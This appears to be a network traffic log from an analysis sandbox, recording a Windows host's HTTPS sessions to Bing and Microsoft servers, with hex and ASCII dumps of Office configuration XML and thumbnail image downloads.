<R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-27 23:19:20 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-27 23:19:20 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-27 23:19:20 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49720	2.16.158.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:20 UTC	367	OUT	GET /th?id=OADD2.10239337201808_1NREAF5SJS6TG8GUU&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=24&h=24&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: www.bing.com Connection: Keep-Alive
2024-11-27 23:19:21 UTC	627	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Type: image/png Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QWthbWFp"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Content-Length: 1874 Date: Wed, 27 Nov 2024 23:19:21 GMT Connection: close Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.2e9e1002.1732749561.2801adf
2024-11-27 23:19:21 UTC	1874	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 18 00 00 00 18 08 06 00 00 00 e0 77 3d f8 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 06 e7 49 44 41 54 48 4b 95 93 0b 54 93 e7 19 c7 3f 2e 81 90 1b b7 ba a3 67 dd 7a a6 75 a7 83 40 88 dc ca aa d4 1d 94 02 02 81 90 ac 5e d0 8e e3 8e 5d 2f 93 22 0c 08 01 af 08 a2 a0 20 a2 50 44 ec 9c 73 dd d9 dc ea ac 68 5b 35 17 92 70 27 5c 12 12 42 a2 dc aa 88 a8 79 9f 8f 90 48 4b f6 26 fb 8e eb d6 d9 6d bf 73 fe e7 3b 39 e7 7d fe bf ef 79 bf 13 e2 bb 58 ad 34 ae e4 ca 47 8b b9 72 e3 17 5c b9 6e 3c 44 31 f0 24 44 d9 83 a3 9a 0c 51 de 54 87 2a db 8e 87 2a ff b2 9e f8 a3 d8 8b 1a f9 df e0 7d 31 f1 fd 08 d9 Data Ascii: PNGIHDRw=sRGBgAMAapHYsodIDATHKT?.gzu@^]/" PDsh[5p'\ByHK&ms;9}yX4Gr\n<D1$DQT**}1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49723	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:20 UTC	346	OUT	GET /th?id=OADD2.10239360284620_1TF9ZP2GQ6Z0HCCJW&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-27 23:19:21 UTC	856	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 659871 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 642B2F5A340F4254BADCB36B1937C7D2 Ref B: EWR311000107023 Ref C: 2024-11-27T23:19:21Z Date: Wed, 27 Nov 2024 23:19:20 GMT Connection: close
2024-11-27 23:19:21 UTC	15528	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 18 c4 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 34 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 30 35 3a 31 33 20 31 38 3a 35 36 3a 32 30 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 04 38 a0 03 00 04 00 00 00 01 00 00 07 80 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``ExifMM*bj(1r2i``Adobe Photoshop 24.4 (Windows)2023:05:13 18:56:208
2024-11-27 23:19:21 UTC	16384	IN	Data Raw: 45 a7 f9 51 bd 3a 48 e8 8d 68 28 63 5b 47 4d fb 1a 55 be 69 23 a4 9b 42 b9 55 2c a3 15 2c 76 db 2a d6 ea 2a 2e c8 e7 65 78 ed aa ad f5 b5 6b 6d 15 5a e1 6a a3 29 5c 23 26 d9 97 f6 6f f3 9a 95 2d 2a d5 48 9d 2b 4e 76 ca 71 45 69 2d aa 94 91 56 cc 89 54 27 5d 95 a4 66 c9 dc a7 e5 d1 e5 d4 bb e9 79 ad f9 99 16 21 f2 e8 db 56 29 db 68 e6 41 62 be dd 95 27 35 24 91 d4 5b 28 4d 31 0f 8d aa e5 ac f5 4f 64 95 3d aa fe fa a6 7b 0d 17 e9 b2 7c 95 24 6b fb 9a 82 eb e5 ac 82 e3 26 6a ab 23 53 e4 a8 a4 ad 94 46 d8 48 d4 d9 1a 99 25 33 77 bd 68 a2 99 23 67 7a 8b ef d3 fe fd 43 f7 2b 54 ac 8c e4 1b bd e9 f0 4b b2 6a 82 46 a2 36 ab e5 d0 8b 9b d6 3e 5b d4 b3 d6 35 ac fb 2b 5a d6 e7 7c 3b 1e b9 e5 06 99 b4 65 72 09 e9 12 9f 71 4c 4a b8 ec 26 f5 b1 27 34 e4 a8 6a 64 a4 08 Data Ascii: EQ:Hh(c[GMUi#BU,,v*.exkmZj)\#&o-H+NvqEi-VT']fy!V)hAb'5$[(M1Od={\|$k&j#SFH%3wh#gzC+TKjF6>[5+Z\|;erqLJ&'4jd
2024-11-27 23:19:21 UTC	16384	IN	Data Raw: d3 df 78 d6 fe f7 49 8e 09 ec e1 8e eb fe 5a dc c5 ff 00 2d 3f e0 35 42 4f 15 6b 4f 77 e7 fe e6 b1 b7 d3 d2 9c 68 c1 74 29 d5 9b ea 6f 69 5e 21 bb fb 5e fb d8 7f ef d4 bb 2b b9 8f 55 d3 7f b3 fe da fa 95 a4 70 7f cf 4f fe c6 bc bf ca fe e5 3e 35 fd ce c7 ff 00 96 75 9d 4a 6a 4c 29 56 92 67 69 7d e3 3d 25 fc b4 b5 86 69 23 ff 00 be 3f f4 2a cb f1 37 88 ff 00 b4 f4 ff 00 b0 d9 43 34 70 7f cb 49 25 fb f2 57 3f 1a ec a9 36 fe e6 8f 65 08 bb a4 5c ab 4e c4 12 45 1f dc ad 9d 0f 59 9f 4c b4 8e d7 c9 87 c8 8e 4f 33 fd ba cb ff 00 96 d4 ef bf 57 28 a6 8e 75 51 ad 8e af 52 97 ed 1a 7c 6e 9f ea ff 00 e5 9d 1f 6c 82 d3 50 b9 f3 ff 00 d6 49 b2 b9 79 2f 27 f2 7e ca f3 4d e4 47 ff 00 2c e8 82 79 3f 83 f7 75 3e cf b9 af b4 67 65 6b e2 38 2d e1 d8 96 77 72 7e f3 cc fd ed Data Ascii: xIZ-?5BOkOwht)oi^!^+UpO>5uJjL)Vgi}=%i#?*7C4pI%W?6e\NEYLO3W(uQR\|nlPIy/'~MG,y?u>gek8-wr~
2024-11-27 23:19:21 UTC	16384	IN	Data Raw: f9 e6 8f fe 79 ff 00 cb 4f fa 66 f5 bd 1a c8 93 6c 4a 9e 7b 38 ee f4 f9 20 9a 1f de 47 22 49 1c 7f 72 b4 52 49 98 4a 17 47 13 1c 52 7d ff 00 f9 67 45 74 51 f8 5e ff 00 f8 e6 87 cc 92 3f dd c7 45 5f b6 87 73 9f d9 4f b1 cd 46 df df fd dd 41 23 6c ff 00 96 3f bb ab cf a7 cf 71 f7 2c fc bf 33 fe 7a cb 4f fe cc 91 66 8d 20 d3 6d 23 ff 00 a6 92 cb be b9 d4 91 e8 5a e6 74 93 fe e7 fd 4d 32 3b 98 fe e7 93 5a 97 5a 56 ad 2c 52 48 9a 94 31 c9 27 fc 01 29 ff 00 d9 93 a7 fc b6 86 4a 3d a4 3b 93 ca cc bf 36 4f e0 a7 47 f6 f7 ff 00 51 0f ee ea 5f ec 39 3f e7 b7 fe 42 ab 5a 5d b7 d9 fc c4 49 a6 92 9b 9c 6d b8 9a 68 82 d6 c7 52 96 6d 89 0f fd fd a9 24 d0 6e df e7 79 bc ba b5 b6 49 66 8d d2 6f 2f fe b9 54 13 c1 1a 4d ff 00 2d bc cf fa e5 50 a7 7e a5 d9 5b 60 8f 45 8f f8 Data Ascii: yOflJ{8 G"IrRIJGR}gEtQ^?E_sOFA#l?q,3zOf m#ZtM2;ZZV,RH1')J=;6OGQ_9?BZ]ImhRm$nyIfo/TM-P~[`E
2024-11-27 23:19:21 UTC	16384	IN	Data Raw: e5 b7 ee e8 8d 7f 7d 1d 5c fe ca df f3 bc d0 ff 00 d7 3a 6e dd 44 82 06 d9 f3 bf fa cf f9 67 50 4f 2f f7 ff 00 d6 55 99 3f 73 0f fd 73 aa 7e 57 f1 ff 00 e4 4a 88 88 74 13 ce 9f 3a 7e ef cb ff 00 57 56 23 b9 92 5f 33 7f fa cf f9 e9 fc 75 56 d5 64 7f 91 3f d6 56 a5 ad b4 71 7f af fd e4 9f f2 d2 89 24 06 4c 92 c9 fc 73 79 94 41 3c 89 35 5e 92 ce 0b b9 a4 9f f7 d1 d1 1e 99 1a 7f ac 9b f7 9f fa 32 ab 9d 0e c4 d1 d8 c1 f7 e9 df 63 83 ce ff 00 53 e6 47 52 da ff 00 a9 f9 3c ef 2e a7 8d 64 7f bf 0d 65 cc cd 55 9a d4 a7 f6 3f ee 43 55 76 cf 65 e6 3f 93 fe b2 af df 37 95 f3 ff 00 ac ff 00 9e 95 14 ed be d3 62 4d 4d 4a c6 72 49 32 9f da 7f 8d 21 f2 ea 1f b4 ff 00 73 fd 5d 58 dd fc 7f fa 36 9c 93 fd ae ef 63 ff 00 e4 2a ae 62 2c 55 91 67 97 ef c3 5a 1a 6a c8 9f 7f fd Data Ascii: }\:nDgPO/U?ss~WJt:~WV#_3uVd?Vq$LsyA<5^2cSGR<.deU?CUve?7bMMJrI2!s]X6c*b,UgZj
2024-11-27 23:19:21 UTC	16384	IN	Data Raw: 64 f5 3a 12 b1 7e 3d 72 ee 59 be 7a b1 1d f4 92 f9 a9 3f ef 23 93 fd 64 72 d6 2d ac 16 16 9e 5f d8 bc ef 32 4f dd ff 00 ad ff 00 59 5b 56 ba 0c 9f 64 8e 7b ab c9 7c ff 00 9e 4f 2f ca ff 00 c7 6b 29 b8 c5 87 33 66 47 88 f4 8f 2a 1f b5 5a c3 14 71 ff 00 cb 48 a2 ff 00 d0 ab 23 4d b6 fb 47 98 f0 7f cb 3f f5 95 d7 58 e8 3e 21 4f 92 7d 36 19 3c c8 ff 00 d5 f9 bf eb 2b 6f 43 d1 a0 b7 b4 8d ef 61 9a de 4f 9e e2 e6 db fd 8f f6 a9 bc 62 a7 1e 5b dc cd 53 94 9a 3c d3 74 8f f7 3f 77 51 47 e6 57 a5 c8 da 15 ed df 90 fa 6d a7 97 1f ef 2d bc a8 be 4f fe ce aa ea de 1a f0 b5 dd dc 9f 65 9a 68 ee a3 8e ae 38 d8 df de 8b 43 9d 07 7b dc e2 23 6d f7 71 ec ff 00 59 ff 00 4c aa ec 1a 2e ad 71 0c 77 50 59 cd e4 49 27 97 1c 9e 56 c4 ae db c3 fa 1f f6 64 3b 34 8b c8 64 92 e2 3f Data Ascii: d:~=rYz?#dr-_2OY[Vd{\|O/k)3fG*ZqH#MG?X>!O}6<+oCaOb[S<t?wQGWm-Oeh8C{#mqYL.qwPYI'Vd;4d?
2024-11-27 23:19:21 UTC	16384	IN	Data Raw: 65 fb 4d d3 c3 37 99 24 7e 67 f7 3f 7b fc 5b bf d9 ad 2b 1b 98 34 a8 76 41 0d a7 d9 64 b9 fd dd b7 df fb 3f f1 7c 8f fc 49 59 76 ad fd a7 0f 97 e4 ff 00 ac ff 00 48 ff 00 5b fe b3 fe fa ad 6b 15 82 ee d2 34 4f 27 ec bf ea ff 00 d1 be ff 00 9b 1f fb 55 8d 58 be 6d 5b 1c 5b 6b b1 af 25 f6 9b 69 75 1a 41 67 e5 c9 24 9e 5c 71 db 7d c9 3f da a2 fa fa d2 5d 3a f9 20 86 28 ee bf d5 f9 91 7c 95 c3 78 8e ce ff 00 4a 9a 5f b5 59 f9 71 c7 27 fa cb 6f f5 32 3f fb 0d 57 a3 b3 bf b7 d3 e2 ba 48 61 93 cc 8f cc fd d7 fc bb d6 94 68 ba 76 9f b4 bf cc 99 4e 4d bb 23 a6 d2 af 2e ee e1 8e 07 f3 a3 f2 e3 fd e5 4b 75 2c 16 fe 63 a4 3e 64 f2 47 e5 c9 25 64 78 73 55 92 e2 ee 47 9e 19 bf d6 a7 fd b3 ab bb be cf f6 9d ff 00 bc 92 38 ff 00 e5 af dc ad e7 88 8c 67 64 25 cd 6d 59 16 Data Ascii: eM7$~g?{[+4vAd?\|IYvH[k4O'UXm[[k%iuAg$\q}?]: (\|xJ_Yq'o2?WHahvNM#.Ku,c>dG%dxsUG8gd%mY
2024-11-27 23:19:21 UTC	16069	IN	Data Raw: 7f f8 ab 1a fb c1 9a 2e a1 77 27 fc 4f a6 b2 92 49 3c cf f8 f4 4d 9f f7 dd 7a d4 a8 d2 a9 78 4f 66 79 58 a8 4e 0a 2d 77 3b 28 ed be 11 f8 b7 43 b9 d4 6f 66 ff 00 84 77 52 b8 92 6f b4 db 5b 4b fb 99 25 93 f8 63 fe e7 cd fc 35 c1 f8 bb c0 b6 9a 56 93 25 ed 97 8d b4 3d 46 08 ee 7c bb 2b 2b 6b bd f7 37 69 ff 00 2d 1d 7f f8 8a d9 83 c0 5a 95 95 a4 9b 3e d7 a8 c7 26 cb 88 ae 6d a2 f9 e3 fe e6 c5 fe 36 ae 17 5c b9 d7 7c 25 37 fc 4d f4 19 b4 e9 ee 3f e5 a7 d9 1d 3f 8f 7a 6d fe 1d d4 e8 e0 ea a9 f2 d2 aa ed 7d 9f e4 70 62 2b 27 1b 4e 9d fc d1 9d a9 59 c0 ff 00 e8 bf f4 cf ff 00 41 fb f5 6b 4a 5b 09 6e ff 00 b3 ef 7c 99 23 b8 fd e7 99 17 df b7 dc 9f c2 de f5 9d a1 b4 97 7a b4 97 57 57 93 47 1c 91 79 72 49 e5 7f 7b f8 aa 19 f5 38 ed f5 cf 22 d6 6f 32 3f f5 71 de fd Data Ascii: .w'OI<MzxOfyXN-w;(CofwRo[K%c5V%=F\|++k7i-Z>&m6\\|%7M??zm}pb+'NYAkJ[n\|#zWWGyrI{8"o2?q
2024-11-27 23:19:21 UTC	16384	IN	Data Raw: ba 7c 9e 66 ff 00 ec db 69 25 d8 97 12 af f1 36 df e2 db fd ea f3 bf 0f cf 05 dd dc 9b ec fc b8 fe 49 24 8e 2f bf b1 7f b9 5d 27 8f 2f af f5 0f b3 69 76 ba 6c d6 f0 49 1f ee ff 00 e0 2f f3 55 54 a6 9d 45 d8 f5 a8 be 68 5d 15 75 5f 15 6a da c7 cf 75 a9 43 1c ff 00 3f da 63 f2 9f 66 cf f6 5f da b9 19 2d ad 17 fe 3e af 26 fd e4 8f e6 79 71 3b be ef f8 15 5a 91 64 4b bf 21 2f 25 b2 8f e7 fe fa 54 76 3a 57 9b e6 3b ff 00 cb 3f f5 5f 7d ff 00 e0 55 dd 18 c6 0b 4d 11 84 b9 a4 5e d1 ec 7c 3d 16 b9 62 fa 86 a5 34 91 f9 9f bc f2 a2 f9 ff 00 e0 3f dc ad 2f 10 78 96 d2 fb 4f 8e cb 4b d0 7c bf 2e 47 fb 37 f1 a4 9f f7 d7 3c 56 76 9b 04 76 93 47 3c f0 c5 71 1c 72 79 9f 66 f2 bf d6 7f c0 ab bb fe c8 fb 6f fa 6e 97 e0 fb 4b 7d 4b e4 f2 e3 f3 77 fd a1 1b ef 36 e7 fe ed 72 Data Ascii: \|fi%6I$/]'/ivlI/UTEh]u_juC?cf_->&yq;ZdK!/%Tv:W;?_}UM^\|=b4?/xOK\|.G7<VvvG<qryfonK}Kw6r
2024-11-27 23:19:21 UTC	16384	IN	Data Raw: 7f 0f fb 35 c9 6a ab 26 9f a1 c7 64 97 90 ea 37 51 db 27 fa 4f 95 f2 6f 8d ff 00 e5 9a 7f 0d 4b 75 e2 39 fc 41 35 8e a3 3c df bc 8e 34 b7 b9 d3 65 8b fd 5d 7c f4 b1 55 79 1d f5 d6 e5 3a c9 3f 7f 43 a5 f1 8e af 7f ae e9 f7 3f db da 97 97 04 7f eb 34 98 bf d7 48 ff 00 de 6f ef a0 af 3c d1 e7 d3 75 0d 73 fe 11 ed 52 f2 1b 7b 1b df f8 fd 93 fe 79 ff 00 75 f7 d7 5b 27 da f4 fb 48 f5 bd 6a 1f b3 da de de ff 00 c4 ba e7 cd 49 be d1 fe f2 2f 28 d5 e6 f7 d2 c0 fa 84 8f 3c d0 c9 f6 79 5e 38 fc a8 bf f2 22 ff 00 76 a3 0c e5 5e 72 72 7e 86 78 99 b8 b8 c8 cd f1 1d 8b cb 69 e4 79 30 c9 25 b4 8f 1c 71 fd c4 93 cb ff 00 ec 6b 4b c3 9a 9c 0f e1 e8 f4 eb 58 61 8e 08 f6 7e f3 ca d9 fe 90 bf 33 d5 2d 4a 79 d3 43 b1 f3 ff 00 79 3c 72 bf 99 24 bf eb ab 3b 47 96 3f b5 c8 9f be Data Ascii: 5j&d7Q'OoKu9A5<4e]\|Uy:?C?4Ho<usR{yu['HjI/(<y^8"v^rr~xiy0%qkKXa~3-JyCy<r$;G?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49722	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:20 UTC	375	OUT	GET /th?id=OADD2.10239381967033_1AUI26TSVPCNDQ022&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-27 23:19:21 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 545445 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: FB05BB1DF3244D35B35F0FE2F9230254 Ref B: EWR30EDGE0110 Ref C: 2024-11-27T23:19:21Z Date: Wed, 27 Nov 2024 23:19:20 GMT Connection: close
2024-11-27 23:19:21 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 17 8c 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 32 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 31 32 3a 32 39 20 31 35 3a 32 31 3a 34 37 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``ExifMM*bj(1r2i``Adobe Photoshop 25.2 (Windows)2023:12:29 15:21:478
2024-11-27 23:19:21 UTC	16384	IN	Data Raw: c7 5d 4a bb d2 48 5a e2 de 58 e3 da d9 8a db fb a3 66 73 8f 4e f5 9d aa 9f 36 3f b4 4f fb c8 ee 73 e6 4b f9 d5 9b a6 2b ba 41 17 90 25 53 b5 9a 3d ad fe ef b6 2a 86 b9 24 97 1e 1b 96 48 15 99 63 6f bb b4 f5 18 27 f0 e9 5e 94 2c ad 63 86 4d bb 9c bc 97 91 1b 78 cc ea de 6b 31 45 58 d4 b3 67 80 00 fc aa 1f 0f 4f 79 a8 7f a5 98 1a 38 e2 8c a2 ed 5d dd 72 0e 3e b8 a8 fc 0c b0 4d b6 6d 41 bf 7c b1 49 24 bf 30 c2 96 3f c3 f4 18 e7 eb 56 35 8f 10 c1 a7 5c 49 1c 0b ba 38 f0 91 c4 bf 2a fc bc 81 ee 7a 56 95 2f 77 14 63 1b 35 cc de 83 fc 4a 1e ca 19 6f 2e 95 9c c8 82 15 83 76 ed c4 c6 79 7c 7a 6d e9 ed 4b f0 8c 38 93 32 2a ac 76 cc 1d 57 6f 2c 49 c1 03 3f d3 9c 53 34 ab 8b 8f 15 6a cb 15 c3 6d 85 30 fe 5a 2f a8 c7 fe cc 79 ab d6 11 c7 a7 ea 92 cb f7 a4 b6 5f ba d2 Data Ascii: ]JHZXfsN6?OsK+A%S=$Hco'^,cMxk1EXgOy8]r>MmA\|I$0?V5\I8zV/wc5Jo.vy\|zmK82*vWo,I?S4jm0Z/y_
2024-11-27 23:19:21 UTC	16384	IN	Data Raw: 91 66 5b 88 36 e7 76 1b fc 6a e3 69 3d 45 2b c5 68 6b bc a2 46 57 0d b4 af 1b bf 86 aa 3f ef 24 f2 bc a5 62 cc 7e 65 6f bd df f0 a8 34 96 13 43 24 a6 29 3e 5e 15 bc c1 d7 a1 23 3e f5 72 48 b6 33 26 df 30 aa fc cc bf c3 4f 61 27 73 0a e2 7b cd 3a f2 48 a2 8a 35 8a 4c 95 f3 3f e5 9e 7d 3f c6 a6 f0 c0 92 d6 e2 4d 3a e6 26 c4 72 65 a3 fb bb 81 e8 c2 9d ac 5a 3c ed 11 8b 74 85 5b 0d 1c 8d f7 bf 5e 05 61 4d 7f a8 5a 5d 37 d9 22 83 11 60 6d 91 86 f8 d0 7a 71 eb ef 5d 14 e5 75 63 9e aa b6 c7 a1 43 6d 02 c9 38 48 3c bd cb 85 dd f7 9b 18 35 a3 e1 bd f6 f0 fd 9d d7 e5 92 3f 96 3f e2 cd 73 9e 1f d5 93 52 87 79 ff 00 59 1c 79 65 56 0c eb 91 91 d3 d6 a7 d2 6f a7 b7 be 8a 29 22 65 3e 66 59 9b f8 41 1c 7e b5 3c 8f 54 3e 68 a4 99 d2 c6 85 2e 19 3f bd 9d b4 e9 ad a0 1e 7c Data Ascii: f[6vji=E+hkFW?$b~eo4C$)>^#>rH3&0Oa's{:H5L?}?M:&reZ<t[^aMZ]7"`mzq]ucCm8H<5??sRyYyeVo)"e>fYA~<T>h.?\|
